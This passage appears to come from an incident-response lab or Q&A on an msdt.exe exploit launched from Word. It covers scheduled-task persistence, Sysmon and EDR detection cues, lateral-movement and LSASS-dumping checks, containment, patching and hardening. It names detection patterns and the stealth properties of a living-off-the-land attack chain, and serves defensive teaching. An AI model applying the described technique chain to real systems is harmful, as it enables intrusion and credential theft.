A Scheduled Task named UpdaterService was created to run the backdoor persistently.
8. What event ID indicates the PowerShell execution?
Sysmon Event ID 1 – for process creation, capturing powershell.exe launched from msdt.exe.
9. What makes this attack stealthy?
 - No macro or ActiveX prompt
 - Signed Microsoft binaries used (Living off the Land)
 - Memory-resident execution via PowerShell
 - No executable written to disk until persistence is established
10. How would EDR detect msdt.exe abuse?
 - Behavioral detection: msdt.exe launched by winword.exe
 - Unusual command-line parameters
 - Child process spawning PowerShell or suspicious scripts
11. What behavior is unusual in msdt.exe execution?
 - It's launched indirectly by Word
 - It does not display the normal UI and instead runs silent commands
 - It leads to network access and script downloads
12. How can SOC confirm lateral movement began?
 - Look for logon events (4624) from the infected machine to other hosts

- Monitor PowerShell Remoting, WMI, or SMB sessions
- Check for credential access or LSASS dumping activity

13. What immediate containment action should SOC take?

- Isolate the affected endpoint from the network
- Terminate all suspicious processes
- Remove the scheduled task and scripts
- Block the attacker's IP/domain at the perimeter
- Reset any compromised user accounts

14. What patch mitigates this vulnerability?

Microsoft released a patch in June 2022 Patch Tuesday

- Disable MSDT URL protocol handler via registry edit
- Install all cumulative security updates from mid-2022 onward

15. What long-term recommendations prevent such client-side exploits?

- Disable legacy diagnostic tools like MSDT if unused
- Harden Office with Protected View and attack surface reduction (ASR) rules
- Use application control policies (e.g., Applocker or WDAC)
- Implement EDR/XDR solutions with behavioral protection
- Regularly conduct user awareness training to defend against phishing